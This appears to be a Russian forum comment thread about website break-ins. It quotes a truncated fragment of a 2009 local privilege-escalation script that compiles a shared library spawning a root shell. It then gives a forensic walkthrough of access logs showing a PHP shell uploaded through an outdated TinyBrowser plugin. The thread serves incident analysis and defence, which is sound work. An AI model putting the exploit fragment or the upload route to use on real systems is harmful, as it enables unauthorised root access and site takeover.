    echo by Kingcope
    echo November 2009
    cat > env.c << _EOF
    #include <stdio.h>

    // ... пропущено

    environ=NULL;
    system("echo G0T R00T!!!;/bin/sh");
    }
    _EOF
    gcc -o program.o -c program.c -fPIC
    gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
    cp w00t.so.1.0 /tmp/w00t.so.1.0
    ./env


    Выдержка из access.log, ищем по имени файла shell'а (имя сайта изменено):

    $ grep -m 3 a22389d.php.27994 access.log

    [21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:42 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"


    Ищем по IP-адресу взломщика:

    $ grep 66.148.113.109 access.log

    [21/Aug/2011:20:52:15 +0400] 200 66.148.113.109 sitename.ru GET /affiliate_affiliate.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:20:52:18 +0400] 200 66.148.113.109 sitename.ru GET /favicon.ico HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:20:56:49 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:20:56:52 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:20:57:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/flexupload.swf HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:20:58 +0400] 200 66.148.113.109 sitename.ru POST //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/images/&type=image&feid=&obfuscate=c26d37c9924a95a0ab81ea044326180e&sessidpass= HTTP/1.1 "Shockwave Flash"
    [21/Aug/2011:21:21:00 +0400] 302 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/images/&type=image&feid=&filetotal=1 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:01 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/upload.php?type=image&feid=&folder=&badfiles=0&goodfiles=1&dupfiles=0 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:02 +0400] 200 66.148.113.109 sitename.ru GET //admin/includes/javascript/tiny_mce/plugins/tinybrowser/css/style_tinybrowser.css.php HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:07 +0400] 200 66.148.113.109 sitename.ru GET /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"
    [21/Aug/2011:21:21:17 +0400] 200 66.148.113.109 sitename.ru POST /images/a22389d.php.27994 HTTP/1.1 "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50"


    Взлом произведен через устаревший TinyBrowser. Последние две строки — уже работа с PHP Shell.
  • 0
    Подскажите, есть хоть один хостер который берет функции проверки и защиты на себя?
  • 0
    Есть такой сервис find-xss.net/monitoring в защите он не поможет, но даст спокойно спать в том смысле, что как только зальют shell на сайт, вы будете тут же оповещены об этом на ваш email. В отчете который придет будет указано в какой файл залили шелл.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разное